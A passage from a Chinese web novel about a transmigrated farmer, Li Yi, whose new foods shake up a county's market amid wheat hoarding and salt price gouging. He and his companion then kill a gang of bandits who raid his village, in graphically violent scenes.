所以就算是李逸吃上一口也能由衷给出好评,说上一句好吃,而不像之前那样觉得是勉勉强强过得去。
“哎呦!李三兄弟!这....这包子也太好吃了吧,我从来没吃过这么好吃的东西,这肯定是神仙才能吃到的好东西!”何铁牛瞪着眼惊呼,看他的表情动作有些夸张。
“就是就是,我家小牛都吃了半个了包子了”刘氏也在一旁跟着附和,然后又连忙拿了两个包子给了铁牛一个。
如此好吃的东西,另外三个寡妇吃了一个后都不好意思再吃第二个,她们在这里做活李逸给了她们很多工钱,一天给三顿饭吃,晚上那顿还很大方地让她们带回去吃。
如今吃到这么好吃的吃食,虽是意犹未尽,但主家的人还没吃完,她们哪好意思再吃下去,会让人觉得不懂规矩。
“三位嫂嫂,你们再一人吃一个,吃饱了下午才有力气做活”
于巧倩笑着过来,将三个包子递给她们,三人表现得很拘谨,但看
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于巧倩的模样不似作伪便接过包子,嘴上连连道谢。
李逸的心情不错,视线在众人的脸上扫了一圈笑着说道:
“虽说.....这馒头之后价格便宜,但也是能做的。”
“另外.....我之后还有其他赚钱的活计,只要你们相信我愿意跟着**,以后你们不仅可以吃饱穿暖,还能顿顿吃到这么好吃的大肉包子。”
何铁牛第一个应声:“铁牛我愿意一直跟着李三兄弟你干,我脑子不好使,但力气有的是,有啥力气活你就吩咐我。”
三个寡妇中,那个没有子女就跟着婆婆相依为命的李氏,小声开了口:
“只要李三兄弟你不嫌弃,我也愿意跟着你干,就算少给点工钱也行。”
“对,我们愿意跟着你做活,你说怎么做我们都听你的”另外两个寡妇也跟着附和。
李逸满意的点头,几天时间相处下来已经可以确认她们都还不错,干活麻利,手脚干净,唯一的小心思不过就是想晚上回去时想多带一些吃食,这点可以忽略。
每家的日子过得都不容易,就拿这李氏来说,公爹死得早,丈夫也是征兵带走后就没回来,有个女儿但去年染风寒时病**,现如今只有她和眼睛有些盲的婆婆两人相依为命。
李逸后续要做那些的需要很多人手,只要人可靠些没有那么多小心思,自然是要先带着同村的人。
何铁牛见到自己家婆娘没说话,用胳膊肘怼了她一下。
刘氏这才扭捏地开口,干笑两声:
“呵呵.....李三兄弟,我之前是动过小心思想着自己蒸这馒头,不过我家铁牛已经教训我了,我妇道人家头发长见识短,你别跟我一般见识,我和我家铁牛一样,以后你让干啥就干啥。”
见刘氏都表态了,李逸笑了笑说道:
“嫂子,你听铁牛哥的准没错,之前我对铁牛哥说的那些可不是在吹嘘,踏实的跟着**,三年内定让你们成为县城的大户人家。”
何铁牛嘿嘿憨笑:“成!以后那我就是县城何家”
刘氏也跟着笑:“那我还成大户人家的夫人了,我要买两个下人伺候我”
李逸家这边欢声笑语,所有人憧憬着未来干劲儿十足,安平县城内却因面条的问世又引发骚动......
虽是得到了馒头配方能自己制作馒头,但因为老面的原因每天能蒸的馒头不多,一边养老面一边蒸馒头用着,结果是老面养得少馒头蒸得也少,两头都顾不上。
索性这些店铺便是先不自己制作馒头,多弄了几个木桶就养着老面,他们都搭建了李逸那样的大灶台,很多工匠也因此有了活做能赚钱买粮。
陈芳斋自从有馒头售卖后,也陆续地有了几个客人,只是客源最多的还是在王记酒肆和其它店铺那边,因为他们有那白玉豆腐。
“白玉豆腐......”
陈林捏着眉心,虽是生气,但他不得不承认那白玉豆腐确实惊艳,刚解决馒头的配方问题,现在又要头疼这个白玉豆腐。
“家主!家主!”
陈忠有慌慌张张地从外面跑进来,他这副模样,现在搞得陈林都有些应激反应了,眉头不自觉地皱起双手握拳。
看到陈忠手中没有拿其它东西,陈林才松了口气问道:“又怎么了?你别慌慌张张的!”
“家主.....王记酒肆又出新吃食了!”
陈林刚要去拿茶盏,此话一出,手下意思地抖了下整杯茶都洒在桌子上。
这豆腐才出了几天,怎么就又有新吃食了?
陈林深吸一口气,强压下心中的烦躁:“说吧!”
“这次是一种名为面条的吃食,我听那些吃过的食客都大为夸赞,说那面条爽滑又有热汤,很适合在冬日里吃上一碗,全身都舒服呀”
陈忠将打听到的消息如实说出,陈林顿感身心俱疲。
不把那个一直给王金石制作新奇吃食的家伙揪出来,这事情怕是没办法真正解决,他不自觉地又想起了那个贪财的小农户。
“难道....都是他做的?”
第七十章:**结
王记酒肆上新的第三天,其它八家店铺也都开始有面条出售,统一的定价是七十八钱一碗。
相比于馒头需要发酵,面条的工序就要简单得多,最繁琐的反而是研磨面粉,只要有面粉有水就可以制作,当然对水的比例掌握和水温的把控,都会直接影响到面条的口感。
一碗汤面的核心就是碗里的汤底,汤头决定面是什么味道,李逸给王金石的提议是用骨头小火慢炖熬制成骨汤,这点老王当成了他自己的秘方。
李逸之前也说明了,面条的汤水这几个店铺不一定都要做成一样的,每家都有厨子也可以自由发挥,放入自己觉得鲜美的汤汁,那就是一碗好吃的面条,食客们根据自己的口味也更方便做出选择。
这几日,陈林所接触的人都在夸赞那面条,最终他也禁不住好奇打算一探究竟。
陈林稍一思量,没有去看那王胖子的脸色,转而去了食芳斋。
食芳斋是这安平县城最早的一家食肆,店主有些年纪了姓张,今日天气格外寒冷,很多食客不愿意走远路去王记酒肆,便是就近都来了这里。
面条汤头是张店主吩咐做的,那日李逸给他们做的就是鸡汤面,当时锅里正蹲着野鸡,李逸便就地取材做了鸡汤面,里面加点吸饱了汤汁的干蘑菇,那味道令人回味无穷。
刚送走一位熟客,迎面就看到身穿狐裘的陈林迈步进入店铺。
“陈老板?”
陈林摘下头顶的皮帽子,露出微笑。
“怎么?张店主不欢迎我吗?”
“听说你这上了新吃食,我特意过来品尝下。”
张店主短暂错愕后,露出了笑脸说道:“进店就是客,欢迎陈老板,里边请....”
张店主亲自将陈林引入座,随后去后厨安排厨子制作鸡汤面条。
鸡汤都是提前熬制的,在锅里温着,煮面条时盛出来一些制作起来倒也不麻烦,很快一大碗热气腾腾的鸡汤面条就端到陈林面前,还有一小碟腌菜。
看着碗里根根泛着光泽的面条,上面挂满金黄的油珠,还没开口品尝就已经有了种食指大动的感觉。
陈林夹起面条尝了一口,眼睛不自觉地瞪大,如此爽滑可口和之前的馒头豆腐口感完全不一样,吃上这一口就完全停不下来了,第二口,第三口,一口接一口。
等回过神来,碗里的面条已经全部吃光,只剩下些面汤。
陈林端起大碗,喝了一口温热的面汤,热量从腹部扩散到全身,阵阵暖意驱散了身上从外面带来的寒气,这面条不仅好吃,吃下去还全身上下都舒服。
盯着眼前的空碗,细细品味那唇齿留香的味道,面条的原材料陈林也已经吃出来了,依旧是那小麦。
如此来想的话定是和那小农户脱不了干系,都是将小麦研磨成面粉的制作方法,那个石磨尤为关键!
“陈老板,觉得这面条如何啊?”张店主笑着问。
“好吃啊,很适合咱们这苦寒之地的冬天,吃下身子都暖了,好吃啊......”
陈林一声轻叹从怀中摸出一串铜钱,看模样至少有两百钱,将铜钱放在桌上陈林从一旁拿起皮帽子戴好。
“多谢张店主款待,余钱就不必找了!”
陈林缓步走出食芳斋,张店主跟着将他送到店门口,看着他一个人迎着风雪渐行渐远......
这一路陈林都在想着那碗面条,知道原材料还是小麦磨的面粉,他开始细细思索如何制作这面条,这种新奇的吃食当看到做法后,就会发现其实也没有想象中那么难,就比如那馒头。
虽是惊叹面条的好吃,陈林对此却并不着急,因为他囤积了充足的小麦。
既然那馒头和面条都需要这小麦,用不了几日这些店铺就会因为没有小麦而无法制作,巧妇难做无米之炊。
如今大雪刚停,安平县城的东西运不出去,外面的东西也运不进来,一切都在陈林的掌控之中。
陈林嘴角勾起,安平县他王金石做大又如何?
这安平县城,不过是北方苦寒之地最穷困的县城,有了馒头的配方,他可以去临县甚至是都城开店铺售卖,如此想来,心中又有了底气。
没有回陈家大宅,陈林直接去了县丞张贤在县城的宅院,足足半个时辰后才他离开。
次日......
陈家盐铺突然宣布,因为大雪封路无法运货,盐的价格要上调。
同时县城最大的粮店徐老板也宣布,说他粮店内粮食价格也要上调,尤其是那小麦。
徐店主前几天发现王记酒肆和陈家都在收小麦,虽是不知为何,但作为商人的直觉让徐店主嗅到了这其中的钱味,所以他对两家都宣称没有小麦,暂时藏起来。
王记酒肆刚卖馒头时,他就吃出来这馒头是用小麦做的,所以他又他连夜派人去临县收了一千斤小麦偷偷存下,赶在这大雪封路之前拉了回来。
如今大雪封路,其它粮店粮铺均无小麦可以售卖,他拿出一小部分放出风声有小麦售卖,价格是之前的一倍,可就是这样,也被人毫不犹豫地买走。
于是他又拿出二百斤小麦,价格调整到以前的三倍,想要以此来试探食肆和酒肆那些掌柜的心思。
消息刚放出去不到半个时辰,李记酒肆就有人过来,虽是感觉这价格过高,但对方还是将二百斤小麦全数买下,可见这小对他们是和其关键。
徐店主如此心中就有了计较,又放出去口风,只不过这次小麦的售价是平时的五倍!
“什么?这价格可是有正常时候的五倍了,徐店主,你这是趁火**啊!”
刘记食肆的刘店主得到消息后亲自赶了过来,他之前囤的小麦最少,面条生意正红火却是因为没有小麦不得不停止售卖,这滋味着实难受。
可他风风火火地赶来粮店,一问询价格发现这小麦竟然翻了五倍价格!
徐店主抱着肩膀冷笑:
“嘿.....刘店主,话你可不能乱说啊,我又没求着你买啊,现在大雪封路整个县城就只有我这还剩些小麦,我也是花大价钱从临县运过来的,没有小麦你那馒头和面条怎么做啊?”
“你!!!”
刘店气得胸膛剧烈起伏,偏偏又无可奈何。
如果没有这小麦,明日他就无法再卖馒头和面条,近几天的食客转头又要去别人的店铺。
“好!我要三百斤!”
刘店主咬着后槽牙,声音从牙缝中一点点挤出。
小麦贵到这种程度,做馒头卖已经不划算,但若是做面条来卖还能有一点赚头,最重要的是要维持住客源。
“伙计!干活!”
徐店主美滋滋地站在柜边数着铜钱,眼珠一转他又改了价格售价是平时的六倍!
赵记的店主过来,听闻这个价格后将他骂了一个狗血淋头。
等对方走后徐店主又将价格改回五倍,一边试探着一边卖,就是要让这些小麦卖出最满意的价格,现在最后悔的便是只收了一千斤小麦,他应该多收一些才是。
王记酒肆......
听到有食客在抱怨,说陈家将盐价翻了三倍,王金石一听心中暗暗松一口气。
还好他也收了不少足够应对这个冬天,否则便是被陈林那条老狐狸给掐住了脖子。
“可恶.....盐价这么贵,他是要让全城的百姓都吃不起盐啊,真是个奸商,大家应该一起去衙门告他!”
“对!去告他!让县令大人来管!”
“吃完了我们就去!”
当即就有食客跟着表态,盐价翻了三倍这行为实在太过可耻了。
傍晚时分,县衙书房,张贤拎着个食盒找上了县令伍思远。
“县令大人,下官给你带了些新奇的吃食,你且尝一尝味道如何。”
张贤打开食盒,将里面的馒头和豆腐一一拿出,摆放好后微笑着递上筷子。
等伍思远吃完,张贤才缓缓开口:
“大人,这白玉豆腐真是个不错的吃食,唉.....只可惜啊,王记酒肆和那些商户把价格定得太高了,下官以为,既是用黄豆所制作的吃食,这成本理应不会太贵,实在不该卖如此的高
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价,应该便宜些,好让全县百姓都能享用到这种美食,也是百姓之福啊.....”
伍思远将筷子放下,擦了擦嘴,看表情无悲无喜的很是平静。
片刻之后他才缓缓开口:“张贤,你既在朝为官,便应清楚应该远离那些商人,虽说你和陈家有些沾亲带故,但既是亲戚就更应该避嫌才是吧.....”
“在说这豆腐之前,你身为县丞,不该先考虑盐的事情吗?”
“陈林趁着大雪封路,暗中将城里所有的盐都收了,现在竟是要以三倍的价格来售卖!城里百姓本就吃不饱,如今更是吃不起盐了,你却还在豆腐的事情!你可真是一个为百姓着想的好官啊!张县丞!”
听到伍思远语气加重,张贤连忙跪下:
“大人,下官虽和那陈林有些亲戚关系,但我从未收受过陈林的钱财贿赂,他所作买卖的也和下官没有任何关系啊。”
伍思远面无表情地瞥了眼张贤,继续说道:
“如今天下刚定,圣上正是要聚拢民心,陈林哄抬物价让百姓吃不起盐,此事可大可小.....你身为县丞难道会不清楚其中的利害关系?若有人告到上面,定你个**结鱼肉百姓之罪,你这个县丞可担得起?”
张贤的额头冒出冷汗:“县令大人息怒!下官可是没有那个胆子啊,我即刻便去找那陈林,让他将盐的价格降下来。”
伍思远一声冷哼,不再看跪在地上的张贤。
从书房出来的张贤眉头紧皱,他怀疑王金石已经提前到县令这里来走动过。
转念一想,王记酒肆卖的这些新奇吃食虽是价格高,但赚的都是富户和大户人家的钱,寻常百姓三餐都不能满足,更别说是去那酒肆吃饭。
但陈林的盐可就不同了,盐可少吃但不能不吃,他将价格提升三倍虽是针对了王金石和其它食肆酒肆,但受影响最大的还是县城的百姓们,若此事闹大,传到当今圣上耳中,未必不会拿来杀鸡儆猴。
天下刚定,各地的官员们也在摸索着当今圣上的脾气性格,在这个敏感时期,稍有不慎确实会万劫不复。
“唉.....这个陈林,竟给我找麻烦,价格提个三成五成还说得过去,竟是翻了三倍!真是疯了!疯了!”
张贤越想越生气,在这小小安平县,县令伍思远又何尝不是一手遮天,惹怒了他同样没有好下场的。
“呦!县丞大人您这是要去哪啊?”
在县衙门口,张贤恰好遇到阴沉着脸回来的赵川。
赵川刚才从手下口中听闻,那贩盐的陈林竟是趁着大雪封路将盐的价格提升三倍!此等行为又与那土匪何异!
又被赵川给阴阳了几句,张贤更是心中气闷,他恨不得长翅膀飞到陈林家给他一个大嘴巴。
与此同行,大荒村......
在山脚下的大荒村,放眼望去几乎和周围的白雪融为一体,北风从山林的方向刮来,卷起地面的积雪漫天飞舞。
咯吱咯吱......
一行十一人,沿着出村唯一的一条小路,向着大荒村的方向走来。
“**!终于要到了,可冻死老子了”
一个穿着破衣烂衫的汉子狠狠抹了一把鼻涕。
“二当家,这里真的有肥羊吗?这么偏的小村子应该都是些穷户才对啊?”
众人看向走在队伍最前面那个穿着皮袄的汉子。
“应是错不了的,我不止一次看见那个小子赶着骡车在这条路走,每次去县城或者乡里都拉着一车东西,回来的时候拉得也不少。”
二当家拽拽领口的皮子眼神贪婪。
在二当家身侧走着的那个膘肥体壮的汉子,便是这黄土梁这伙土匪的大哥,一只眼。
一只眼反手握住后腰**的刀柄,咧嘴一笑:
“有大骡子就不白来一趟,地方偏点也好,等官府的人知道了,我们早就藏起来啦,宰了这头肥羊,咱们就回窝里猫冬,不出来了!”
“大当家说多对,嘻嘻嘻.....就是不知道有没有水灵点的小娘们啊....”
第七十一章:激斗土匪
“这该死的天气!该死的李三!还有张绣娘那个没脸的,也该死!”
家里没柴的大张寡妇,踩着积雪哆哆嗦嗦地走出来,她打算去前边的荒地弄一些茅草回来烧,茅草虽是不耐烧,但她现在也没办法,眼瞅着天都要黑了,她不想也不敢去山林,万一遇到夜里嚎叫的狼,被叼了去,她可就成了那些饿狼的吃食了。
“要是那狼进村子了,将李三和那张绣娘都给叼走,也算是他们遭报应了,老天爷啊,他们这种人就应该遭报应,像我这种可怜的人才应该赚大钱,你可要开开眼啊.....”
一路小声絮叨着,脚下的积雪被踩得咯吱作响,裸露的脚腕接触到地面的积雪传来一阵阵刺骨的冷意,这让大张寡妇又想起了张绣娘穿的绸布冬衣,那绸布一看就是大户人家才穿得起的,鼓鼓囊囊的里面不知道塞了多少软和的棉花。
“那李三也是个没吃过好东西的傻子,舍得给张绣娘花钱,缺心眼!真傻!”
一路都低着头走得心不在焉,眼见着就要走到村口,迎面看到有一行人正向着村子走来。
大张寡妇愣了下,不可置信地揉了揉眼睛,看身形这些人全是男人,有些人手里还拎着刀身上背着弓箭。
哎呦!坏了!
意识到这些不知道是哪个山头的土匪,大张寡妇回过神吓得扭头就要跑。
前面那伙人离得不远,其中一个瘦高的汉子见状连忙从腰间解下一根粗麻绳,这根麻绳的两端各系着一个黑乎乎的铁秤砣。
汉子握着麻绳甩动秤砣,甩得呼呼作响,紧跟着他上前一步握着麻绳的手松开,两个秤砣旋转的着飞出将中间的麻绳拉得绷直,三四十米的距离,麻绳竟然精准缠绕在大张寡妇双腿上。
“哎呦!”
大张寡妇惨嚎一声,整个人扑倒在雪窝子里。
“呦!六子!好手艺啊,我看这娘们不错,够敦实的,就给你享用了!”
旁边留着八字胡的汉子拍着手笑道。
“哎呦,五哥,你千万别和我客气,你看中了你就说,我觉得这娘们更适合你啊!”
被捆住双腿的大张寡妇,就像是一条虫子在地上痛苦地扭动着,身边有一阵脚踩着积雪的声音,随后她就发现自己被十多个不怀好意的汉子给围住了。
领头的汉子膀大腰圆,左眼戴着个黑眼罩,嘴角有一道延伸到脸颊的伤疤,看着就凶恶。
有人上前揪住大张寡妇的头发,粗鲁地将她脸上粘着的雪给擦掉。
“**!这个不行!都是个老婆娘了,谁愿意来谁来,我可不要!”六子骂骂咧咧的说道。
旁边的老五也连连摇头:“我也不要,看着就没胃口,直接杀了丢雪窝里吧!”
六子将大张寡妇脚上的粗麻绳解开,说着就去摸后腰的刀子。
大张寡妇吓得浑身发抖,连忙开口哀求道:“别啊!几位大爷,我不老,我能伺候你们的。别杀我.....”
二当家上前一把按住六子的手腕,沉声说道:“唉!六子,别着急动手,先探探口风!”
六子点头,蹲在大张寡妇面前,用冰凉的刀子拍打她的脸问道:
“我问你,你给我老实回答,你们村是不是有一户有大骡子的人家?”
大张寡妇短暂惊愕后,连连点头:“有!有!是李三家!是李三!”
“他天天带着村里的一群寡妇做吃食往县城里卖,赚了好些钱哪,他家里不止有大骡子,粮食袋子也堆得和小山那么高。”
“对了!他还有四个小媳妇,那长得是个顶个的水灵,穿的都是绸布棉袄,洗得也白净,你们肯定喜欢,我带你们去他家,你们别杀我啊......”
大张寡妇一边哀求一边不住磕头,几人汉子的脸上都浮现出欣喜猥琐的笑容,没想到在这么偏僻的小山村中,竟是藏着个有钱的狗大户!
有钱,有粮,有大牲口,还有水灵灵的小媳妇,这不正是大家心目中的肥羊吗。
六子听得双眼放光,迫不及待地站起身,一脚踢在大张寡妇的屁股上催促道:
“快点给爷带路,带到了就放你离开,你若是敢哄骗我们,老子就把你活埋在雪窝子里!”
“我带你们去,我这就带你们去!”
大张寡妇连滚带爬地站起身,引着这十一个匪人向着李三家的方向走去。
“老天有眼啊,老天开眼啦!那李三和张绣娘的报应这么快就来了,太好了!太好了!叫他们为富不仁,活该被土匪杀了!”
大张寡妇心中想着这些,脚下的步伐也是不由自主地加快。
李逸家的院子中.......
李逸正在给何铁牛他们算钱,原是打算再蒸三日的馒头,结果却无奈地发现家里囤的小麦只剩下两袋,这些还要用来制作包子和自己吃,只能暂时停止馒头的制作。
这次从县里回来,赶上大雪身边还有张绣娘,就没从王金石那里拿些小麦和大豆回来。
三个寡妇算完今天的工钱就返回家中,刘氏磨蹭着没有走,看那模样是想要在李逸着蹭完饭再回去。
何铁牛看出了她的心思,皱眉催促:“走了!回去给老娘做饭!”
看何铁牛将脸沉下,刘氏虽还有些不情愿但还是听话跟着离开。
二人刚走出院子,远远的就看到大张寡妇正带着一群人往这边走,看数量还挺多的都是些汉子。
“唉?咋来这些人?”刘氏还在疑惑,回过神的何铁牛忙拉着她返回院子。
“李三兄弟,不好了!”
见何铁牛神色慌张,李逸便知道是出事了。
“那大张寡妇带着一群汉子过来,应是有十几个人,看那架势八成是土匪啊!”何铁牛说道。
十几个土匪!
李逸听闻皱起眉,秦心月快步上前就要出门,被李逸一把拉住。
“女人都进屋,动作快点!”李逸沉声催促。
“唉?怎么了呀?”白雪儿刚从屋子出来,不知道发生什么忙询问。
刘氏抱着孩子跑进屋,拉了她一把催促:“哎呦!快进屋吧!有匪人来了!”
于巧倩和陈玉竹虽是担忧,但此时也知道她们在外面帮不了任何忙不说,还会让李逸和秦心月分心。
“心月,拿弓!”
“铁牛哥,你就站在屋门口守着!”
李逸吩咐一句,快速拿起反曲**顺手背上箭袋,他和秦心月二人一左一右隐藏在院门口的两侧。
何铁牛见状,大概猜出了二人要做什么,抄起砍树的斧头守在屋门口,他的位置正对院门口的大门。
“就这!李三家就在这里!你们快进去杀吧!抢吧!”大张寡妇指着大门口兴奋地喊着。
六子提鼻子闻了闻,寒冷的空气中飘着一股特殊的香味,其中还夹杂着肉香。
“嗯?好香的味道啊?这是在做什么吃食!”
“呵.....进去你就知道了,我现在更想看看水灵灵的小媳妇,是什么俏丽模样啊?嘿嘿嘿......”
兴奋之余,大张寡妇又想到自己的危险处境,连忙问道:“几位大爷,我已经给你们带到,是不是能放了我了!”
“放!当然放了,你长得这么丑,难不成还带回去当压寨夫人?”六子手按着刀柄上前。
“谢谢!谢谢几位大爷!这院子里真有好几个漂亮姑娘呢,你们肯定会满意的!”
大张寡妇说着就要离开这个是非之地,刚转过身她身后的六子一刀挥出,打磨过的柴刀格外锋利,很轻易的就割破了大张寡妇的喉咙。
动脉割破,滚烫的血液喷涌而出,大张寡妇后知后觉地感觉到疼痛,她满脸都是惊恐,双手用力地掐住脖子,嘴里只能发出一连串咯咯咯的声音。
她无力地跪下,面朝下整个身体扑在雪地中,殷红滚烫的血液瞬间染红了周围的积雪,就像是一朵绽放的血色冰花。
“呵......见过我们大当家的脸,你还想活?”六子擦了把刀刃上的血迹,嗤笑一声。
大当家一只眼,手中提着的两把**碰撞,发出清脆的撞击声。
“呵呵呵.....兄弟们,该抢肥羊了!”
“男的杀了,女的留下找乐子!”
“这次的肥羊是二当家发现的,里面的小媳妇一会让二当家先选啊!”
一只眼的声音响亮浑厚,院中乃至屋里的人都能听到。
“是!大当家的!”
“好!听大当家的!”
六子和老五大步上前,来到院门口,一眼就看到站在屋门前身
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形高大的何铁牛。
“呵.....你就李三?跪下叫爷爷,饶你一条狗命!”
“六子,这个家伙看起来有膀子力气,咱俩一起上吧!”
老五和六子对视一眼,二人并排往院里走。
李逸和秦心月卡着二人的视觉盲区,对视一眼拉弓搭箭做好准备。
上一次一起进山剿匪,李逸和秦心月二人就有着很默契的配合,如今确定关系后,虽不说是心意相通吧,但一个眼神的意思彼此都能体会。
两个男人说笑着迈步走进院中,二人的注意力一直都放在何铁牛和里面木棚下的大骡子上,等进来眼角的余光瞥见还有人,两声弓弦震动的声音叠加一起,羽箭一同飞出!
不足五米的距离,箭矢的速度和杀伤力十分恐怖,不给人任何的反应的机会。
羽箭贯穿头颅,强大的力道带动二人的身体狠狠撞在一起,连一声闷哼都没有,这二人当场毙命,扑倒在地。
李逸反手抽出一只羽箭,快速拉弓搭箭,微蹲下的双腿骤然发力!他整个人就像是兔子一样窜出,听几人说话的声音,其他人现在也都在门口的位置。
“门后有人!”
一只眼瞪着眼大吼一声!
李逸现身时对面的人也刚好发出喊声,第二支羽箭不需要多么精准命中要害,看到人影就毫无顾虑地松开弓弦。
“啊!大当家!我中箭了!”
“**,他们有弓箭大家散开!”
又一支羽箭飞出,贴着一只眼的胳膊飞过直接命中后面一名汉子的心口,羽箭穿胸而过,给这人射个对穿。
“大当家......”
汉子低声喊了句,捂着心口扑在雪地中。
土匪这边有弓箭的二人也开始还击,他们的弓箭虽是无法和李逸的相比,但在如此近距离的情况下同样能够造成致死威胁。
见对面的弓箭飞来,李逸和秦心月只能暂时退回院内,李逸刚才大致数了一下外面还有**人的模样。
和上次王赖子带过来那些无赖不同,这些人是土匪手上都有人命,甚至是在县衙挂了号的,所以他们下手更肆无忌惮,心也更黑。
秦心月正在使眼色,看那模样她打算强行冲出去的。
李逸对她摇头,一把将门口一个汉子的尸体拖过来,单手抓着他胸口衣服将其轻松地提起来,何铁牛想要过来帮忙,被李逸以眼神制止。
秦心月看懂了李逸的意思,这是想用尸体来防着外面那两个有弓箭的人。
李逸将反曲**放在一旁,拔出腰间的一柄**,秦心月也和他一样,短剑悄然从袖筒中滑出,哪怕现在过上了安生的日子,秦心月还是会随身带着鱼肠剑,这已经是她的一种习惯。
“上!”
李逸行动果断,对方占有人数上的优势,他必须趁着突袭得手对方方寸大乱时乘胜追击。
外面的一只眼正准备命令手下绕道院子后方翻墙,**里面的人,然后就看到有人提着尸体从院里冲出。
两个手持弓箭的土匪射出的箭矢,全都射在尸体的后背上。
李逸瞥了一眼锁定其中一个就全力冲了上去,强大的力量在一些特定的条件下,也能转换为直线爆发的速度,不到十米的距离转瞬间李逸就冲到。
喉咙中发出一声低吼,手臂肌肉绷紧李逸将手中提着的尸体如破麻袋一般丢了出去,那手中拿着弓箭的汉子被砸了个结结实实,发出一声痛呼。
李逸形如猎豹飞身扑上去,在这汉子起身之前手中的**隔开他的颈部动脉。
在李逸从院中冲出后,秦心月紧随其后,她的目标是另一个手持弓箭的汉子,只要将这两个手中有弓箭的汉子都解决,剩下的正面战斗她一个人也足矣应付。
秦心月现在反而是有些担心李逸,怕他受伤,但在瞥到李逸矫健的身姿和出乎意料的狠辣果决后,便是再无顾忌。
“**,遇到两个硬茬子!一起上!”
一行十一人,在极短的时间内便**了五人,若是不能赶紧解决这一男一女,怕是还有更多人死伤。
【狩猎熟练度+80】
系统出现的提示信息,让李逸的嘴角无法抑制的向上翘起。
现在.....是狩猎时刻!
第七十二章:奇怪的招式
二当家面色凝重,手中死死的攥着刀柄:
“大当家,这两个都是练家子,身体看着瘦弱却是有这么大的力气,不好对付啊!”
这次归根结底算是他的疏忽,没有提前踩过点,不过就算是他踩过点,不起冲突不和这二人交手,也无法知道这二人竟然都是练家子。
尤其是那女子,手中的短剑一看就是不是普通兵器,动作更是干脆利索。
“大当家,先杀那边的小子,这个女的留到最后”
一只眼点头,他也看出眼前女子的难缠,若是不能一举拿下,等另一边的小子过来支援他们的处境可就危险了。
其它人也都各有心思,但却是没有一个人想着要逃跑,这便是土匪和无赖的差别,无赖没有什么骨气欺软怕硬,土匪干的是掉脑袋的事情,遇事会想着拼命,知道一个人很难逃掉索性就放手一搏。
进入狩猎状态的李逸,眼前这几个土匪在他的眼里和山林里的野猪无异。
本以为狩猎提升后想要进入下一个等级,所需要的熟练度会很难获取,杀一头野猪才给50点,杀小型的猎物只给10点,给最多的猛虎也不过才100点。
但上次去山里剿匪,李逸收获了很客观的熟练度,说明狩猎的定义并且有那么死板,眼下的情况再一次的刷新了他的判断,猎人的猎场可不是只限于山林之中.....
“给老子死!”
一个汉子低吼一声,随后直接将手中的斧头丢了过来,斧头带着破风声飞旋而来,李逸侧头轻巧地躲过,加速前冲,顺势使用剪刀腿绞脖摔。
总结上一次失败的经验,这一次旋转之后男人被李逸的膝盖死死地压在地下,不给他反击的机会,李逸的**已经割破他的颈部动脉。
成犄角合围之势的一只眼和二当家,被这样的一幕惊得脚步一顿,这人的姿势虽是很奇怪,但威力不容小觑,一只眼还没有看明白,他的手下就已经变成了一具尸体。
惨嚎声在身后响起,二当家再回头时惊恐地发现其余的手下竟是全被那个女子所击杀,这女子出手又快又狠,全都是一击必杀。
“二位.....打个商量,这次是我们眼拙,若是二位能放我们一马,以后必是有回报!”
形势所迫,一只眼也只能强撑着说些场面话。
李逸点头很痛快的答应:“好啊,你们把武器丢下就可以走了。”
“呃......当真?”
一只眼和二当家对视一眼,都没想到眼前的小子会如此好说话。
正犹豫着要不要听话照做时,后面秦心月突然发难,手中鱼肠短剑如同暗器一般丢出,锋利的短剑轻易从二当家的后心刺入,剑尖穿胸而过刺破胸口的皮肤探出。
二当家惊愕地低下头,看着心口的剑尖和喷涌的鲜血,惊恐从双眼溢出。
“大当家.....救....”
“无耻小人!”
一只眼怒骂,双手扬起一对**砍向秦心月。
李逸见他转身压低身形前冲到一只眼身后,身形有一米八体重有一百**十斤的一只眼,就那么轻松地被李逸抱住粗腰来了一招死亡打桩机。
腰身骤然发力,抱着一只眼的李逸低吼一声向后弯腰。
一只眼的身体呈现出头下脚上的姿势,头颅撞击在积雪下坚硬的地面上,胫骨传出断裂声音,他的双目迅速充血,呼吸和心跳都相继停止。
【狩猎熟练度+80(当前熟练度1480)】
熟练度的大量提升,让李逸看到升级到下一等级的希望,到时应是会给三点属性点,对身体又是一次巨大的提升,另外二级时给了的老式**,三级不知道会不会给更强大的武器。
老式**作为底牌,李逸一直放在物品栏里,19枚**就是19次机会,可是不能轻易就浪费了。
大齐王朝**还没发明出来,连烟花爆竹都没有,若是在这个时代能使用**战斗,那就是在降维打击欺负人。
秦心月来到李逸身边,发现李逸在看着尸体笑得出神,不知道在想些什么。
“夫君,你没事吧?你刚才用的都是些什么奇怪招式?”
“啊?我没事,现如今,你夫君我也算是一名江湖侠客了吧”
李逸得意地扬起下巴,秦心月无奈笑道:“夫君,你刚才那些古怪招式对付寻常人还可以,对付真正的习武之人便是明显的破绽。”
李逸干笑两声:“呵呵....我怎么能和自幼习武的那些江湖人比呢,我一个普通农户还能接触多少的江湖人,对付的就是他们这种无赖恶霸,够用就行。”
随即李逸皱起了眉头:“这些尸体要处理一下......”
如今天寒地冻地,尸体丢在外面都被自动保鲜了,等明年开春翻出来还是新鲜的。
何铁牛将头从院门口探出,看着外面的一地尸体,紧张的缩了缩脖子,他见过**,但没见过这么多,门口的这片雪地都被鲜血给染红了。
“呃......李三兄弟,你和弟妹没事吧....”何铁牛小声询问。
李逸笑着说:“铁牛哥,这些人看着挺凶都不禁打的,应该是来这一路上给冻得手脚不利索了。”
“这些尸体怎么办?要不要去县衙报关啊?”何铁牛有些担忧地问。
李逸稍作思量:“先找个地儿随便埋了,明年开春翻出来埋在我家田地里”
尸体太多,想要火化不知道要浪费多少木柴,索性等开春埋在田地里当肥料。
何铁牛眼角一抽,这么多**埋到自家田地里,想想他的觉得瘆得慌。
三个人将尸体拖到之前何铁牛挖黄土的地方,就那么一个小土坑,里面塞了十一个人,何铁牛看着都觉得有些委屈他们了,**都不得安生。
李逸却在这时看向何铁牛:“铁牛哥,心月出手的事你可要保密,连嫂子都不能告诉。”
“对其他人你就说是只来了三两个土匪,都被我当猎物给射杀了。”李逸认真叮嘱。
秦心月的身份很敏感,县城城墙上现在还有她的悬赏画像,她是从临县那边一路逃过来的,追她的士兵都知道她身受重伤,多日没有得到消息,安平县城这边是很自然地认为她是重伤不治曝尸荒野了。
可即使是这样,也应小心行事,等过段时间才会被人渐渐淡忘。
何铁牛重重点头:“成!你放心,我不会乱说的,我婆娘那嘴我也清楚,肯定会坏事的。”
“这大张寡妇的尸体怎么办?”何铁牛又看向一旁大张寡妇的尸体,最先死的她血冻成了冰渣,尸体僵硬。
